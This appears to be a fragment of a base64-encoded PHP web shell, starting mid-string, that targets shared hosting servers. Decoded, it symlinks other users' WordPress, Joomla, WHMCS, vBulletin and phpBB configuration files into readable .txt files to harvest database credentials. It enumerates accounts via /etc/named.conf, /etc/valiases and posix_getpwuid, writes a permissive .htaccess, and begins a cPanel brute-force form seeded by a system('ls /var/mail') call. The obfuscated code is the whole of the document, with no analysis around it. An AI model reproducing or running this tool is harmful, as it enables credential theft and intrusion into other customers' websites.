ltbGluaygnL2hvbWU0LycuJHVzZXJuLicvcHVibGljX2h0bWwvaW5jbHVkZS9kYi5waHAnLCRwZG9tYWluLid+fmluZmluaXR5LnR4dCcpOwoJCXN5bWxpbmsoJy9ob21lNS8nLiR1c2Vybi4nL3B1YmxpY19odG1sL3ZiL2luY2x1ZGVzL2NvbmZpZy5waHAnLCRwZG9tYWluLid+fnZCdWxsZXRpbjEudHh0Jyk7CgkJc3ltbGluaygnL2hvbWU1LycuJHVzZXJuLicvcHVibGljX2h0bWwvaW5jbHVkZXMvY29uZmlnLnBocCcsJHBkb21haW4uJ35+dkJ1bGxldGluMi50eHQnKTsKCQlzeW1saW5rKCcvaG9tZTUvJy4kdXNlcm4uJy9wdWJsaWNfaHRtbC9mb3J1bS9pbmNsdWRlcy9jb25maWcucGhwJywkcGRvbWFpbi4nfn52QnVsbGV0aW4zLnR4dCcpOwoJCXN5bWxpbmsoJy9ob21lNS8nLiR1c2Vybi4nL3B1YmxpY19odG1sL2NjL2luY2x1ZGVzL2NvbmZpZy5waHAnLCRwZG9tYWluLid+fnZCdWxsZXRpbjQudHh0Jyk7CgkJc3ltbGluaygnL2hvbWU1LycuJHVzZXJuLicvcHVibGljX2h0bWwvY29uZmlnLnBocCcsJHBkb21haW4uJ35+UGhwYmIxLnR4dCcpOwoJCXN5bWxpbmsoJy9ob21lNS8nLiR1c2Vybi4nL3B1YmxpY19odG1sL2ZvcnVtL2luY2x1ZGVzL2NvbmZpZy5waHAnLCRwZG9tYWluLid+flBocGJiMi50eHQnKTsKCQlzeW1saW5rKCcvaG9tZTUvJy4kdXNlcm4uJy9wdWJsaWNfaHRtbC93cC1jb25maWcucGhwJywkcGRvbWFpbi4nfn5Xb3JkcHJlc3MxLnR4dCcpOwoJCXN5bWxpbmsoJy9ob21lNS8nLiR1c2Vybi4nL3B1YmxpY19odG1sL2Jsb2cvd3AtY29uZmlnLnBocCcsJHBkb21haW4uJ35+V29yZHByZXNzMi50eHQnKTsKCQlzeW1saW5rKCcvaG9tZTUvJy4kdXNlcm4uJy9wdWJsaWNfaHRtbC9jb25maWd1cmF0aW9uLnBocCcsJHBkb21haW4uJ35+Sm9vbWxhMS50eHQnKTsKCQlzeW1saW5rKCcvaG9tZTUvJy4kdXNlcm4uJy9wdWJsaWNfaHRtbC9ibG9nL2NvbmZpZ3VyYXRpb24ucGhwJywkcGRvbWFpbi4nfn5Kb29tbGEyLnR4dCcpOwoJCXN5bWxpbmsoJy9ob21lNS8nLiR1c2Vybi4nL3B1YmxpY19odG1sL2pvb21sYS9jb25maWd1cmF0aW9uLnBocCcsJHBkb21haW4uJ35+Sm9vbWxhMy50eHQnKTsKCQlzeW1saW5rKCcvaG9tZTUvJy4kdXNlcm4uJy9wdWJsaWNfaHRtbC93aG0vY29uZmlndXJhdGlvbi5waHAnLCRwZG9tYWluLid+fldobTEudHh0Jyk7CgkJc3ltbGluaygnL2hvbWU1LycuJHVzZXJuLicvcHVibGljX2h0bWwvd2htYy9jb25maWd1cmF0aW9uLnBocCcsJHBkb21haW4uJ35+V2htMi50eHQnKTsKCQlzeW1saW5rKCcvaG9tZTUvJy4kdXNlcm4uJy9wdWJsaWNfaHRtbC9zdXBwb3J0L2NvbmZpZ3VyYXRpb24ucGhwJywkcGRvbWFpbi4nfn5XaG0zLnR4dCcpOwoJCXN5bWxpbmsoJy9ob21lNS8nLiR1c2Vybi4nL3B1YmxpY19odG1sL2NsaWVudC9jb25maWd1cmF0aW9uLnBocCcsJHBkb21haW4uJ35+V2htNC50eHQnKTsKCQlzeW1saW5rKCcvaG9tZTUvJy4kdXNlcm4uJy9wdWJsaWNfaHRtbC9iaWxsaW5ncy9jb25maWd1cmF0aW9uLnBocCcsJHBkb21haW4uJ35+V2htNS50eHQnKTsKCQlzeW1saW5rKCcvaG9tZTUvJy4kdXNlcm4uJy9wdWJsaWNfaHRtbC9iaWxsaW5nL2NvbmZpZ3VyYXRpb24ucGhwJywkcGRvbWFpbi4nfn5XaG02LnR4dCcpOwoJCXN5bWxpbmsoJy9ob21lNS8nLiR1c2Vybi4nL3B1YmxpY19odG1sL2NsaWVudHMvY29uZmlndXJhdGlvbi5waHAnLCRwZG9tYWluLid+fldobTcudHh0Jyk7CgkJc3ltbGluaygnL2hvbWU1LycuJHVzZXJuLicvcHVibGljX2h0bWwvd2htY3MvY29uZmlndXJhdGlvbi5waHAnLCRwZG9tYWluLid+fldobTgudHh0Jyk7CgkJc3ltbGluaygnL2hvbWU1LycuJHVzZXJuLicvcHVibGljX2h0bWwvb3JkZXIvY29uZmlndXJhdGlvbi5waHAnLCRwZG9tYWluLid+fldobTkudHh0Jyk7CgkJc3ltbGluaygnL2hvbWU1LycuJHVzZXJuLicvcHVibGljX2h0bWwvYWRtaW4vY29uZi5waHAnLCRwZG9tYWluLid+fjUudHh0Jyk7CgkJc3ltbGluaygnL2hvbWU1LycuJHVzZXJuLicvcHVibGljX2h0bWwvYWRtaW4vY29uZmlnLnBocCcsJHBkb21haW4uJ35+NC50eHQnKTsKCQlzeW1saW5rKCcvaG9tZTUvJy4kdXNlcm4uJy9wdWJsaWNfaHRtbC9jb25mX2dsb2JhbC5waHAnLCRwZG9tYWluLid+fmludmlzaW8udHh0Jyk7CgkJc3ltbGluaygnL2hvbWU1LycuJHVzZXJuLicvcHVibGljX2h0bWwvaW5jbHVkZS9kYi5waHAnLCRwZG9tYWluLid+fjcudHh0Jyk7CgkJc3ltbGluaygnL2hvbWU1LycuJHVzZXJuLicvcHVibGljX2h0bWwvY29ubmVjdC5waHAnLCRwZG9tYWluLid+fjgudHh0Jyk7CgkJc3ltbGluaygnL2hvbWU1LycuJHVzZXJuLicvcHVibGljX2h0bWwvbWtfY29uZi5waHAnLCRwZG9tYWluLid+fm1rLXBvcnRhbGUxLnR4dCcpOwoJCXN5bWxpbmsoJy9ob21lNS8nLiR1c2Vybi4nL3B1YmxpY19odG1sL2luY2x1ZGUvY29uZmlnLnBocCcsJHBkb21haW4uJ35+MTIudHh0Jyk7CgkJc3ltbGluaygnL2hvbWU1LycuJHVzZXJuLicvcHVibGljX2h0bWwvc2V0dGluZ3MucGhwJywkcGRvbWFpbi4nfn5TbWYudHh0Jyk7CgkJc3ltbGluaygnL2hvbWU1LycuJHVzZXJuLicvcHVibGljX2h0bWwvaW5jbHVkZXMvZnVuY3Rpb25zLnBocCcsJHBkb21haW4uJ35+cGhwYmIzLnR4dCcpOwoJCXN5bWxpbmsoJy9ob21lNS8nLiR1c2Vybi4nL3B1YmxpY19odG1sL2luY2x1ZGUvZGIucGhwJywkcGRvbWFpbi4nfn5pbmZpbml0eS50eHQnKTsKCQlzeW1saW5rKCcvaG9tZTYvJy4kdXNlcm4uJy9wdWJsaWNfaHRtbC92Yi9pbmNsdWRlcy9jb25maWcucGhwJywkcGRvbWFpbi4nfn52QnVsbGV0aW4xLnR4dCcpOwoJCXN5bWxpbmsoJy9ob21lNi8nLiR1c2Vybi4nL3B1YmxpY19odG1sL2luY2x1ZGVzL2NvbmZpZy5waHAnLCRwZG9tYWluLid+fnZCdWxsZXRpbjIudHh0Jyk7CgkJc3ltbGluaygnL2hvbWU2LycuJHVzZXJuLicvcHVibGljX2h0bWwvZm9ydW0vaW5jbHVkZXMvY29uZmlnLnBocCcsJHBkb21haW4uJ35+dkJ1bGxldGluMy50eHQnKTsKCQlzeW1saW5rKCcvaG9tZTYvJy4kdXNlcm4uJy9wdWJsaWNfaHRtbC9jYy9pbmNsdWRlcy9jb25maWcucGhwJywkcGRvbWFpbi4nfn52QnVsbGV0aW40LnR4dCcpOwoJCXN5bWxpbmsoJy9ob21lNi8nLiR1c2Vybi4nL3B1YmxpY19odG1sL2NvbmZpZy5waHAnLCRwZG9tYWluLid+flBocGJiMS50eHQnKTsKCQlzeW1saW5rKCcvaG9tZTYvJy4kdXNlcm4uJy9wdWJsaWNfaHRtbC9mb3J1bS9pbmNsdWRlcy9jb25maWcucGhwJywkcGRvbWFpbi4nfn5QaHBiYjIudHh0Jyk7CgkJc3ltbGluaygnL2hvbWU2LycuJHVzZXJuLicvcHVibGljX2h0bWwvd3AtY29uZmlnLnBocCcsJHBkb21haW4uJ35+V29yZHByZXNzMS50eHQnKTsKCQlzeW1saW5rKCcvaG9tZTYvJy4kdXNlcm4uJy9wdWJsaWNfaHRtbC9ibG9nL3dwLWNvbmZpZy5waHAnLCRwZG9tYWluLid+fldvcmRwcmVzczIudHh0Jyk7CgkJc3ltbGluaygnL2hvbWU2LycuJHVzZXJuLicvcHVibGljX2h0bWwvY29uZmlndXJhdGlvbi5waHAnLCRwZG9tYWluLid+fkpvb21sYTEudHh0Jyk7CgkJc3ltbGluaygnL2hvbWU2LycuJHVzZXJuLicvcHVibGljX2h0bWwvYmxvZy9jb25maWd1cmF0aW9uLnBocCcsJHBkb21haW4uJ35+Sm9vbWxhMi50eHQnKTsKCQlzeW1saW5rKCcvaG9tZTYvJy4kdXNlcm4uJy9wdWJsaWNfaHRtbC9qb29tbGEvY29uZmlndXJhdGlvbi5waHAnLCRwZG9tYWluLid+fkpvb21sYTMudHh0Jyk7CgkJc3ltbGluaygnL2hvbWU2LycuJHVzZXJuLicvcHVibGljX2h0bWwvd2htL2NvbmZpZ3VyYXRpb24ucGhwJywkcGRvbWFpbi4nfn5XaG0xLnR4dCcpOwoJCXN5bWxpbmsoJy9ob21lNi8nLiR1c2Vybi4nL3B1YmxpY19odG1sL3dobWMvY29uZmlndXJhdGlvbi5waHAnLCRwZG9tYWluLid+fldobTIudHh0Jyk7CgkJc3ltbGluaygnL2hvbWU2LycuJHVzZXJuLicvcHVibGljX2h0bWwvc3VwcG9ydC9jb25maWd1cmF0aW9uLnBocCcsJHBkb21haW4uJ35+V2htMy50eHQnKTsKCQlzeW1saW5rKCcvaG9tZTYvJy4kdXNlcm4uJy9wdWJsaWNfaHRtbC9jbGllbnQvY29uZmlndXJhdGlvbi5waHAnLCRwZG9tYWluLid+fldobTQudHh0Jyk7CgkJc3ltbGluaygnL2hvbWU2LycuJHVzZXJuLicvcHVibGljX2h0bWwvYmlsbGluZ3MvY29uZmlndXJhdGlvbi5waHAnLCRwZG9tYWluLid+fldobTUudHh0Jyk7CgkJc3ltbGluaygnL2hvbWU2LycuJHVzZXJuLicvcHVibGljX2h0bWwvYmlsbGluZy9jb25maWd1cmF0aW9uLnBocCcsJHBkb21haW4uJ35+V2htNi50eHQnKTsKCQlzeW1saW5rKCcvaG9tZTYvJy4kdXNlcm4uJy9wdWJsaWNfaHRtbC9jbGllbnRzL2NvbmZpZ3VyYXRpb24ucGhwJywkcGRvbWFpbi4nfn5XaG03LnR4dCcpOwoJCXN5bWxpbmsoJy9ob21lNi8nLiR1c2Vybi4nL3B1YmxpY19odG1sL3dobWNzL2NvbmZpZ3VyYXRpb24ucGhwJywkcGRvbWFpbi4nfn5XaG04LnR4dCcpOwoJCXN5bWxpbmsoJy9ob21lNi8nLiR1c2Vybi4nL3B1YmxpY19odG1sL29yZGVyL2NvbmZpZ3VyYXRpb24ucGhwJywkcGRvbWFpbi4nfn5XaG05LnR4dCcpOwoJCXN5bWxpbmsoJy9ob21lNi8nLiR1c2Vybi4nL3B1YmxpY19odG1sL2FkbWluL2NvbmYucGhwJywkcGRvbWFpbi4nfn41LnR4dCcpOwoJCXN5bWxpbmsoJy9ob21lNi8nLiR1c2Vybi4nL3B1YmxpY19odG1sL2FkbWluL2NvbmZpZy5waHAnLCRwZG9tYWluLid+fjQudHh0Jyk7CgkJc3ltbGluaygnL2hvbWU2LycuJHVzZXJuLicvcHVibGljX2h0bWwvY29uZl9nbG9iYWwucGhwJywkcGRvbWFpbi4nfn5pbnZpc2lvLnR4dCcpOwoJCXN5bWxpbmsoJy9ob21lNi8nLiR1c2Vybi4nL3B1YmxpY19odG1sL2luY2x1ZGUvZGIucGhwJywkcGRvbWFpbi4nfn43LnR4dCcpOwoJCXN5bWxpbmsoJy9ob21lNi8nLiR1c2Vybi4nL3B1YmxpY19odG1sL2Nvbm5lY3QucGhwJywkcGRvbWFpbi4nfn44LnR4dCcpOwoJCXN5bWxpbmsoJy9ob21lNi8nLiR1c2Vybi4nL3B1YmxpY19odG1sL21rX2NvbmYucGhwJywkcGRvbWFpbi4nfn5tay1wb3J0YWxlMS50eHQnKTsKCQlzeW1saW5rKCcvaG9tZTYvJy4kdXNlcm4uJy9wdWJsaWNfaHRtbC9pbmNsdWRlL2NvbmZpZy5waHAnLCRwZG9tYWluLid+fjEyLnR4dCcpOwoJCXN5bWxpbmsoJy9ob21lNi8nLiR1c2Vybi4nL3B1YmxpY19odG1sL3NldHRpbmdzLnBocCcsJHBkb21haW4uJ35+U21mLnR4dCcpOwoJCXN5bWxpbmsoJy9ob21lNi8nLiR1c2Vybi4nL3B1YmxpY19odG1sL2luY2x1ZGVzL2Z1bmN0aW9ucy5waHAnLCRwZG9tYWluLid+fnBocGJiMy50eHQnKTsKCQlzeW1saW5rKCcvaG9tZTYvJy4kdXNlcm4uJy9wdWJsaWNfaHRtbC9pbmNsdWRlL2RiLnBocCcsJHBkb21haW4uJ35+aW5maW5pdHkudHh0Jyk7CgkJc3ltbGluaygnL2hvbWU3LycuJHVzZXJuLicvcHVibGljX2h0bWwvdmIvaW5jbHVkZXMvY29uZmlnLnBocCcsJHBkb21haW4uJ35+dkJ1bGxldGluMS50eHQnKTsKCQlzeW1saW5rKCcvaG9tZTcvJy4kdXNlcm4uJy9wdWJsaWNfaHRtbC9pbmNsdWRlcy9jb25maWcucGhwJywkcGRvbWFpbi4nfn52QnVsbGV0aW4yLnR4dCcpOwoJCXN5bWxpbmsoJy9ob21lNy8nLiR1c2Vybi4nL3B1YmxpY19odG1sL2ZvcnVtL2luY2x1ZGVzL2NvbmZpZy5waHAnLCRwZG9tYWluLid+fnZCdWxsZXRpbjMudHh0Jyk7CgkJc3ltbGluaygnL2hvbWU3LycuJHVzZXJuLicvcHVibGljX2h0bWwvY2MvaW5jbHVkZXMvY29uZmlnLnBocCcsJHBkb21haW4uJ35+dkJ1bGxldGluNC50eHQnKTsKCQlzeW1saW5rKCcvaG9tZTcvJy4kdXNlcm4uJy9wdWJsaWNfaHRtbC9jb25maWcucGhwJywkcGRvbWFpbi4nfn5QaHBiYjEudHh0Jyk7CgkJc3ltbGluaygnL2hvbWU3LycuJHVzZXJuLicvcHVibGljX2h0bWwvZm9ydW0vaW5jbHVkZXMvY29uZmlnLnBocCcsJHBkb21haW4uJ35+UGhwYmIyLnR4dCcpOwoJCXN5bWxpbmsoJy9ob21lNy8nLiR1c2Vybi4nL3B1YmxpY19odG1sL3dwLWNvbmZpZy5waHAnLCRwZG9tYWluLid+fldvcmRwcmVzczEudHh0Jyk7CgkJc3ltbGluaygnL2hvbWU3LycuJHVzZXJuLicvcHVibGljX2h0bWwvYmxvZy93cC1jb25maWcucGhwJywkcGRvbWFpbi4nfn5Xb3JkcHJlc3MyLnR4dCcpOwoJCXN5bWxpbmsoJy9ob21lNy8nLiR1c2Vybi4nL3B1YmxpY19odG1sL2NvbmZpZ3VyYXRpb24ucGhwJywkcGRvbWFpbi4nfn5Kb29tbGExLnR4dCcpOwoJCXN5bWxpbmsoJy9ob21lNy8nLiR1c2Vybi4nL3B1YmxpY19odG1sL2Jsb2cvY29uZmlndXJhdGlvbi5waHAnLCRwZG9tYWluLid+fkpvb21sYTIudHh0Jyk7CgkJc3ltbGluaygnL2hvbWU3LycuJHVzZXJuLicvcHVibGljX2h0bWwvam9vbWxhL2NvbmZpZ3VyYXRpb24ucGhwJywkcGRvbWFpbi4nfn5Kb29tbGEzLnR4dCcpOwoJCXN5bWxpbmsoJy9ob21lNy8nLiR1c2Vybi4nL3B1YmxpY19odG1sL3dobS9jb25maWd1cmF0aW9uLnBocCcsJHBkb21haW4uJ35+V2htMS50eHQnKTsKCQlzeW1saW5rKCcvaG9tZTcvJy4kdXNlcm4uJy9wdWJsaWNfaHRtbC93aG1jL2NvbmZpZ3VyYXRpb24ucGhwJywkcGRvbWFpbi4nfn5XaG0yLnR4dCcpOwoJCXN5bWxpbmsoJy9ob21lNy8nLiR1c2Vybi4nL3B1YmxpY19odG1sL3N1cHBvcnQvY29uZmlndXJhdGlvbi5waHAnLCRwZG9tYWluLid+fldobTMudHh0Jyk7CgkJc3ltbGluaygnL2hvbWU3LycuJHVzZXJuLicvcHVibGljX2h0bWwvY2xpZW50L2NvbmZpZ3VyYXRpb24ucGhwJywkcGRvbWFpbi4nfn5XaG00LnR4dCcpOwoJCXN5bWxpbmsoJy9ob21lNy8nLiR1c2Vybi4nL3B1YmxpY19odG1sL2JpbGxpbmdzL2NvbmZpZ3VyYXRpb24ucGhwJywkcGRvbWFpbi4nfn5XaG01LnR4dCcpOwoJCXN5bWxpbmsoJy9ob21lNy8nLiR1c2Vybi4nL3B1YmxpY19odG1sL2JpbGxpbmcvY29uZmlndXJhdGlvbi5waHAnLCRwZG9tYWluLid+fldobTYudHh0Jyk7CgkJc3ltbGluaygnL2hvbWU3LycuJHVzZXJuLicvcHVibGljX2h0bWwvY2xpZW50cy9jb25maWd1cmF0aW9uLnBocCcsJHBkb21haW4uJ35+V2htNy50eHQnKTsKCQlzeW1saW5rKCcvaG9tZTcvJy4kdXNlcm4uJy9wdWJsaWNfaHRtbC93aG1jcy9jb25maWd1cmF0aW9uLnBocCcsJHBkb21haW4uJ35+V2htOC50eHQnKTsKCQlzeW1saW5rKCcvaG9tZTcvJy4kdXNlcm4uJy9wdWJsaWNfaHRtbC9vcmRlci9jb25maWd1cmF0aW9uLnBocCcsJHBkb21haW4uJ35+V2htOS50eHQnKTsKCQlzeW1saW5rKCcvaG9tZTcvJy4kdXNlcm4uJy9wdWJsaWNfaHRtbC9hZG1pbi9jb25mLnBocCcsJHBkb21haW4uJ35+NS50eHQnKTsKCQlzeW1saW5rKCcvaG9tZTcvJy4kdXNlcm4uJy9wdWJsaWNfaHRtbC9hZG1pbi9jb25maWcucGhwJywkcGRvbWFpbi4nfn40LnR4dCcpOwoJCXN5bWxpbmsoJy9ob21lNy8nLiR1c2Vybi4nL3B1YmxpY19odG1sL2NvbmZfZ2xvYmFsLnBocCcsJHBkb21haW4uJ35+aW52aXNpby50eHQnKTsKCQlzeW1saW5rKCcvaG9tZTcvJy4kdXNlcm4uJy9wdWJsaWNfaHRtbC9pbmNsdWRlL2RiLnBocCcsJHBkb21haW4uJ35+Ny50eHQnKTsKCQlzeW1saW5rKCcvaG9tZTcvJy4kdXNlcm4uJy9wdWJsaWNfaHRtbC9jb25uZWN0LnBocCcsJHBkb21haW4uJ35+OC50eHQnKTsKCQlzeW1saW5rKCcvaG9tZTcvJy4kdXNlcm4uJy9wdWJsaWNfaHRtbC9ta19jb25mLnBocCcsJHBkb21haW4uJ35+bWstcG9ydGFsZTEudHh0Jyk7CgkJc3ltbGluaygnL2hvbWU3LycuJHVzZXJuLicvcHVibGljX2h0bWwvaW5jbHVkZS9jb25maWcucGhwJywkcGRvbWFpbi4nfn4xMi50eHQnKTsKCQlzeW1saW5rKCcvaG9tZTcvJy4kdXNlcm4uJy9wdWJsaWNfaHRtbC9zZXR0aW5ncy5waHAnLCRwZG9tYWluLid+flNtZi50eHQnKTsKCQlzeW1saW5rKCcvaG9tZTcvJy4kdXNlcm4uJy9wdWJsaWNfaHRtbC9pbmNsdWRlcy9mdW5jdGlvbnMucGhwJywkcGRvbWFpbi4nfn5waHBiYjMudHh0Jyk7CgkJc3ltbGluaygnL2hvbWU3LycuJHVzZXJuLicvcHVibGljX2h0bWwvaW5jbHVkZS9kYi5waHAnLCRwZG9tYWluLid+fmluZmluaXR5LnR4dCcpOwoJfQoKCQkJCSRkMG1haW5zID0gQGZpbGUoIi9ldGMvbmFtZWQuY29uZiIpOwoJCQoJCQkJaWYoJGQwbWFpbnMpCgkJCQl7CgkJCQkJbWtkaXIoJGZuKTsKCQkJCQljaGRpcigkZm4pOwoJCQkJCQkJCQkJCgkJCQkJZm9yZWFjaCgkZDBtYWlucyBhcyAkZDBtYWluKQoJCQkJCXsKCQkJCQkJaWYoZXJlZ2koInpvbmUiLCRkMG1haW4pKQoJCQkJCQl7CgkJCQkJCQlwcmVnX21hdGNoX2FsbCgnI3pvbmUgIiguKikiIycsICRkMG1haW4sICRkb21haW5zKTsKCQkJCQkJCWZsdXNoKCk7CgkJCQkJCQkJCgkJCQkJCQlpZihzdHJsZW4odHJpbSgkZG9tYWluc1sxXVswXSkpID4gMikKCQkJCQkJCXsgCgkJCQkJCQkJJHVzZXIgPSBwb3NpeF9nZXRwd3VpZChAZmlsZW93bmVyKCIvZXRjL3ZhbGlhc2VzLyIuJGRvbWFpbnNbMV1bMF0pKTsKCQkJCQkJCQkKCQkJCQkJCQlzeW1sKCR1c2VyWyduYW1lJ10sJGRvbWFpbnNbMV1bMF0pOwkJCQkJCgkJCQkJCQl9CgkJCQkJCX0KCQkJCQl9CgkJCQkJZWNobyAiPGNlbnRlcj48Zm9udCBjb2xvcj1saW1lIHNpemU9Mz5bIERvbmUgXTwvZm9udD48L2NlbnRlcj4iOwoJCQkJCWVjaG8gIjxicj48Y2VudGVyPjxhIGhyZWY9JGZuLyB0YXJnZXQ9X2JsYW5rPjxmb250IHNpemU9MyBjb2xvcj0jMDA5OTAwPnwgR28gSGVyZSB8PC9mb250PjwvYT48L2NlbnRlcj4iOyAKCQkJCX0KCQkJCWVsc2UKCQkJCXsKCQkJCQlta2RpcigkZm4pOwoJCQkJCWNoZGlyKCRmbik7CgkJCQkJJHRlbXAgPSAiIjsKCQkJCQkkdmFsMSA9IDA7CgkJCQkJJHZhbDIgPSAxMDAwOwoJCQkJCWZvcig7JHZhbDEgPD0gJHZhbDI7JHZhbDErKykgCgkJCQkJewoJCQkJCQkkdWlkID0gQHBvc2l4X2dldHB3dWlkKCR2YWwxKTsKCQkJCQkJaWYgKCR1aWQpCgkJCQkJCQkkdGVtcCAuPSBqb2luKCc6JywkdWlkKS4iXG4iOwoJCQkJCSB9CgkJCQkJIGVjaG8gJzxici8+JzsKCQkJCQkgJHRlbXAgPSB0cmltKCR0ZW1wKTsKCQkJCQkgCgkJCQkJICRmaWxlNSA9IGZvcGVuKCJ0ZXN0LnR4dCIsInciKTsKCQkJCQkgZnB1dHMoJGZpbGU1LCR0ZW1wKTsKCQkJCQkgZmNsb3NlKCRmaWxlNSk7CgokaHRhY2Nlc3MgPQonVDNCMGFXOXVjeUJoYkd3Z0NrUnBjbVZqZEc5eWVVbHVaR1Y0SUhKbFlXUnRaUzVvZEcxc0lBcEJaR1JVZVhCbElIUmxlSFF2Y0d4aAphVzRnTG5Cb2NDQUtRV1JrU0dGdVpHeGxjaUJ6WlhKMlpYSXRjR0Z5YzJWa0lDNXdhSEFnQ2tGa1pGUjVjR1VnZEdWNGRDOXdiR0ZwCmJpQXVhSFJ0YkNBS1FXUmtTR0Z1Wkd4bGNpQjBlSFFnTG1oMGJXd2dDbEpsY1hWcGNtVWdUbTl1WlNBS1UyRjBhWE5tZVNCQmJuaz0KJzsKJGZpbGUgPSBmb3BlbigiLmh0YWNjZXNzIiwidysiKTsKJHdyaXRlID0gZndyaXRlICgkZmlsZSAsYmFzZTY0X2RlY29kZSgkaHRhY2Nlc3MpKTsKCQkJCQkgCgkJCQkJICRmaWxlID0gZm9wZW4oInRlc3QudHh0IiwgInIiKSBvciBleGl0KCJVbmFibGUgdG8gb3BlbiBmaWxlISIpOwoJCQkJCSB3aGlsZSghZmVvZigkZmlsZSkpCgkJCQkJIHsKCQkJCQkJJHMgPSBmZ2V0cygkZmlsZSk7CgkJCQkJCSRtYXRjaGVzID0gYXJyYXkoKTsKCQkJCQkJJHQgPSBwcmVnX21hdGNoKCcvXC8oLio/KVw6XC8vcycsICRzLCAkbWF0Y2hlcyk7CgkJCQkJCSRtYXRjaGVzID0gc3RyX3JlcGxhY2UoImhvbWUvIiwiIiwkbWF0Y2hlc1sxXSk7CgkJCQkJCWlmKHN0cmxlbigkbWF0Y2hlcykgPiAxMiB8fCBzdHJsZW4oJG1hdGNoZXMpID09IDAgfHwgJG1hdGNoZXMgPT0gImJpbiIgfHwgJG1hdGNoZXMgPT0gImV0Yy9YMTEvZnMiIHx8ICRtYXRjaGVzID09ICJ2YXIvbGliL25mcyIgfHwgJG1hdGNoZXMgPT0gInZhci9hcnB3YXRjaCIgfHwgJG1hdGNoZXMgPT0gInZhci9nb3BoZXIiIHx8ICRtYXRjaGVzID09ICJzYmluIiB8fCAkbWF0Y2hlcyA9PSAidmFyL2FkbSIgfHwgJG1hdGNoZXMgPT0gInVzci9nYW1lcyIgfHwgJG1hdGNoZXMgPT0gInZhci9mdHAiIHx8ICRtYXRjaGVzID09ICJldGMvbnRwIiB8fCAkbWF0Y2hlcyA9PSAidmFyL3d3dyIgfHwgJG1hdGNoZXMgPT0gInZhci9uYW1lZCIpCgkJCQkJCQljb250aW51ZTsKCQkJCQkJc3ltbCgkbWF0Y2hlcywkbWF0Y2hlcyk7CgkJCQkJIH0KCQkJCQlmY2xvc2UoJGZpbGUpOwoJCQkJCWVjaG8gIjwvdGFibGU+IjsKCQkJCQl1bmxpbmsoInRlc3QudHh0Iik7CgkJCQkJZWNobyAiPGNlbnRlcj48Zm9udCBjb2xvcj1saW1lIHNpemU9Mz5bIERvbmUgXTwvZm9udD48L2NlbnRlcj4iOwoJCQkJCWVjaG8gIjxicj48Y2VudGVyPjxhIGhyZWY9JGZuLyB0YXJnZXQ9X2JsYW5rPjxmb250IHNpemU9MyBjb2xvcj0jMDA5OTAwPnwgR28gSGVyZSB8PC9mb250PjwvYT48L2NlbnRlcj4iOyAKCQkJCX0KZWNobyAiPGhyPjxjZW50ZXI+PGI+PGEgaHJlZj0iLiRfU0VSVkVSWydQSFBfU0VMRiddLiI+PDwgQkFDSzwvYT4iOwpleGl0Owp9Cj8+Cjxmb3JtIG1ldGhvZD0iUE9TVCIgdGFyZ2V0PSJfYmxhbmsiPgoJPHN0cm9uZz4KPGlucHV0IG5hbWU9InBhZ2UiIHR5cGU9ImhpZGRlbiIgdmFsdWU9ImZpbmQiPjx0YWJsZT4gICAgICAJCQkJCiAgICA8L3N0cm9uZz48YnI+PGJyPjxjZW50ZXI+PGZvbnQgc2l6ZT0iMyIgYWxpZ249ImNlbnRlciIgc3R5bGU9Iml0YWxpYyIgY29sb3I9IiMwMGZmMDAiPistLT1bIENwYW5lbCBCcnV0ZUZvcmNlIF09LS0rPC9mb250PjwvY2VudGVyPjxicj4KICAgIDx0YWJsZSB3aWR0aD0iNjAwIiBib3JkZXI9IjAiIGNsYXNzPSJ0YWJuZXQiIGNlbGxwYWRkaW5nPSIzIiBjZWxsc3BhY2luZz0iMSIgYWxpZ249ImNlbnRlciI+Cgk8dHI+Cgk8dGQgdmFsaWduPSJ0b3AiIGJnY29sb3I9IiMxNTE1MTUiIGNsYXNzPSJzdHlsZTIiIHN0eWxlPSJ3aWR0aDogMTM5cHgiPgoJPGNlbnRlcj48Yj48Zm9udCBzaXplPSIzIiBzdHlsZT0iaXRhbGljIiBjb2xvcj0iIzAwZmYwMCI+WyBDcGFuZWwgQnJ1dGUgRm9yY2UgXTwvZm9udD48L2I+PC9jZW50ZXI+PC90ZD48L3RyPgogICAgPHRyPgogICAgPHRkPgogICAgPHRhYmxlIHdpZHRoPSIxMDAlIiBib3JkZXI9IjAiIGNlbGxwYWRkaW5nPSIzIiBjZWxsc3BhY2luZz0iMSIgYWxpZ249ImNlbnRlciI+CiAgICA8dGQgdmFsaWduPSJ0b3AiIGJnY29sb3I9IiMxNTE1MTUiIGNsYXNzPSJzdHlsZTIiIHN0eWxlPSJ3aWR0aDogMTM5cHgiPgoJPHN0cm9uZz5Vc2VybmFtZSBMaXN0IDo8L3N0cm9uZz48L3RkPgogICAgPHRkIHZhbGlnbj0idG9wIiBiZ2NvbG9yPSIjMTUxNTE1IiBjb2xzcGFuPSI1Ij48c3Ryb25nPjx0ZXh0YXJlYSBjb2xzPSI3OSIgY2xhc3MgPSdpbnB1dHonIHJvd3M9IjEwIiBuYW1lPSJ1c2VybmFtZXMiPjw/cGhwIHN5c3RlbSgnbHMgL3Zhci9tYWlsJyk7Pz48L3RleHRhcmVhPjwvc3Ryb25nPjwvdGQ+CiAgICA8L3RyPgogICAgPHRyPgogICAgPHRkIHZhbGlnbj0idG9wIiBiZ2NvbG9yPSIjMTUxNTE1IiBjbGFzcz0ic3R5bGUyIiBzdHlsZT0id2lkdGg6IDEzOXB4Ij4KCTxzdHJvbmc+UGFzc3dvcmQgTGlzdCA6PC9zdHJvbmc+PC90ZD4KICAgIDx0ZCB2YWxpZ249InRvcCIgYmdjb2xvcj0iIzE1MTUxNSIgY29sc3Bhbj0iNSI+PHN0cm9uZz48dGV4dGFyZWEgY29scz0iNzkiIGNsYXNzID0naW5wdXR6JyByb3dzPSIxMCIgbmFtZT0icGFzc3dvcmRzIj48L3RleHRhcmVhPjwvc3Ryb25nPjwvdGQ+CiAgICA8L3RyPgogICAgPHRyPgogICAgPHRkIHZhbGlnbj0idG9wIiBiZ2NvbG9yPSIjMTUxNTE1IiBjbGFzcz0ic3R5bGUyIiBzdHlsZT0id2lkdGg6IDEzOXB4Ij4KCTxzdHJvbmc+VHlwZSA6PC9zdHJvbmc+PC90ZD4KICAgIDx0ZCB2YWxpZ249InRvcCIgYmdjb2xvcj0iIzE1MTUxNSIgY29sc3Bhbj0iNSI+CiAgICA8c3BhbiBjbGFzcz0ic3R5bGUyIj48c3Ryb25nPlNpbXBsZSA6IDwvc3Ryb25nPiA8L3NwYW4+Cgk8c3Ryb25nPgoJPGlucHV0IHR5cGU9InJhZGlvIiBuYW1lPSJ0eXBlIiB2YWx1ZT0ic2ltcGxlIiBjaGVja2